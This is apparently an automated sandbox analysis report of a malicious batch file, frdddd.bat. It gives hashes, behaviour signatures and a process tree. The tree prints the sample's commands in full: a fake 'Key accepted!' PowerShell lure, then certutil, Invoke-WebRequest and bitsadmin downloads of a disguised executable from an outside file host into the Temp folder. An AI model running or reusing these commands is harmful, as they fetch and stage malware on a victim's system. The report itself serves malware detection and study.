Analysis

  • max time kernel
    680s
  • max time network
    691s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    26/07/2024, 17:39

General

  • Target

    frdddd.bat

  • Size

    1KB

  • MD5

    88ddf78c950140af764db059bec7dec8

  • SHA1

    ad23a435fcaf3a66a4caa483e55b47e52a9db902

  • SHA256

    6cbc3c8e40db05db5086c922bfdfc09eba597d00feb4de442ccc210c11adfdcd

  • SHA512

    f0a486fcf8890a2eacfcd704b93f102e13b0ea21589a2740a81fb48818c101c95cbb8c01b381915186578b8a4d7aaf11dcd53f467f7618b60189a47f3a4486cf

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\frdddd.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Key accepted!', 'Success')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2692
    • C:\Windows\system32\certutil.exe
      certutil -urlcache -split -f "https://files.catbox.moe/83dtmm.png" "C:\Users\Admin\AppData\Local\Temp\services.exe"
      2⤵
        PID:2740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -Command "Invoke-WebRequest -Uri 'https://files.catbox.moe/83dtmm.png' -OutFile 'C:\Users\Admin\AppData\Local\Temp\services.exe'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1464
      • C:\Windows\system32\bitsadmin.exe
        bitsadmin /transfer mydownloadjob /download /priority high "https://files.catbox.moe/83dtmm.png" "C:\Users\Admin\AppData\Local\Temp\services.exe"
        2⤵
        • Download via BitsAdmin
        PID:3020

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      33699b0d456ab857c654d32bb2e3d0dd

      SHA1

      41f8ea34091911ce5bd3bb1ae0001b2b7757afe3

      SHA256

      856a97eb624bc867818df6621476301d7e5fee700d75ad3d1c60e0e22335c567

      SHA512

      a443e18f62712d18fa6733382888036ea3440cfcf016827d869421ec5c87dc592de2f4d36d875815c47c4b68b3815a6abc5be5621a70c4c87ddf3cef2a90410d

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SUKDE7OPGAIDYLA7PF3Z.temp

      Filesize

      7KB

      MD5

      2274ec55bb8524294bd4da2157137a42

      SHA1

      7ca9c4c80357eaa63a7fc356051808eff70bb445

      SHA256

      db4f6c51f3188a40d7f633f729530873e4aa6191e466a66f174c9fd880a1d1fe

      SHA512

      a5d5ab9da17495659b99a8131742f7d659344febe5f6ca596ec5c202389c949387923265879ef2e03a1bce9bdd52d749ff7c7cec627f385fbdec929fe41372c8

    • memory/1464-19-0x0000000002340000-0x0000000002348000-memory.dmp

      Filesize

      32KB

    • memory/1464-18-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

      Filesize

      2.9MB

    • memory/2692-7-0x000007FEF4350000-0x000007FEF4CED000-memory.dmp

      Filesize

      9.6MB

    • memory/2692-8-0x000007FEF4350000-0x000007FEF4CED000-memory.dmp

      Filesize

      9.6MB

    • memory/2692-10-0x000007FEF4350000-0x000007FEF4CED000-memory.dmp

      Filesize

      9.6MB

    • memory/2692-11-0x000007FEF4350000-0x000007FEF4CED000-memory.dmp

      Filesize

      9.6MB

    • memory/2692-12-0x000007FEF4350000-0x000007FEF4CED000-memory.dmp

      Filesize

      9.6MB

    • memory/2692-9-0x000007FEF4350000-0x000007FEF4CED000-memory.dmp

      Filesize

      9.6MB

    • memory/2692-4-0x000007FEF460E000-0x000007FEF460F000-memory.dmp

      Filesize

      4KB

    • memory/2692-6-0x0000000001F80000-0x0000000001F88000-memory.dmp

      Filesize

      32KB

    • memory/2692-5-0x000000001B640000-0x000000001B922000-memory.dmp

      Filesize

      2.9MB